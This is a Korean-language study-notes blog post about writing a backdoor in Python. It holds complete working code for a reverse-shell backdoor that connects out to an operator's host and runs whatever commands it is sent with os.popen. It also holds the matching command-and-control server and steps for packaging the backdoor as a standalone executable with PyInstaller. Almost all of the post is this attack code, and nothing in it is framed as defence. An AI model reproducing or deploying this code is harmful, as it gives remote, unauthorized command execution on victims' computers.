yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

python을 이용한 백도어 개발 본문

개발/Python

python을 이용한 백도어 개발

yehey 2020. 9. 28. 02:19

백도어 코드

import os, socket, sys

def usage(): # help
    print('''
    tcp_reverse_backdoor.py <host> <port>
    '''
    )
    exit()

if len(sys.argv) < 3 :
    usage()

with socket.socket() as s:
    addr = (sys.argv[1], int(sys.argv[2]))
    s.connect(addr)
    s.send('''
###########################
# tcp_reverse_backdoor.py #
###########################
>>'''.encode())

    while True:
        data = s.recv(1024).decode().lower()

        if "q" == data:
            # 프로그램 종료
            exit()
        else:
            if data.startswith("cd"): # cd gasbugs
                # 디렉터리 변경
                os.chdir(data[3:].replace('\n',''))
            else :
                result = os.popen(data).read()
            result = result + "\n>>"
            s.send(result.encode())      

cnc 서버 코드

# cnc.py
import socket

addr = ('0.0.0.0', 12345)
with socket.socket() as s:
    s.bind(addr)
    s.listen()
    print('cnc server is started...')

    conn, addr = s.accept()
    print('Connect by', addr)

    while True:
        try:
            # 받은 데이터 출력
            data = conn.recv(1024)
            if data :
                print(data.decode(), end='')
            # 보낼 데이터 전송
            data = input()
            conn.send(data.encode())
        except Exception as e:
            print(e)

print("{} is disconnected".format(addr))

 

pyinstaller를 이용해서 python *.exe 파일 만들기

pyinstaller

-Python 프로그램을 Windows, Linux , Mac OS X , FreeBSD , Solaris 및 AIX에서 독립형 실행 파일로 고정 패키지 하는 프로그램

-python 2.7 및 3.3-3.5에서 작동

-작은 실행 파일을 만들어 줌

-완전한 멀티 플랫폼, OS 지원을 사용하여 동적 라이브러리를 로드 (완전한 호환성을 보장)

 

cmd에서 pip install pyinstaller 입력해서 설치

pyinstaller [파일 경로] [파일 명] 입력해서 pyinstaller 실행

Comments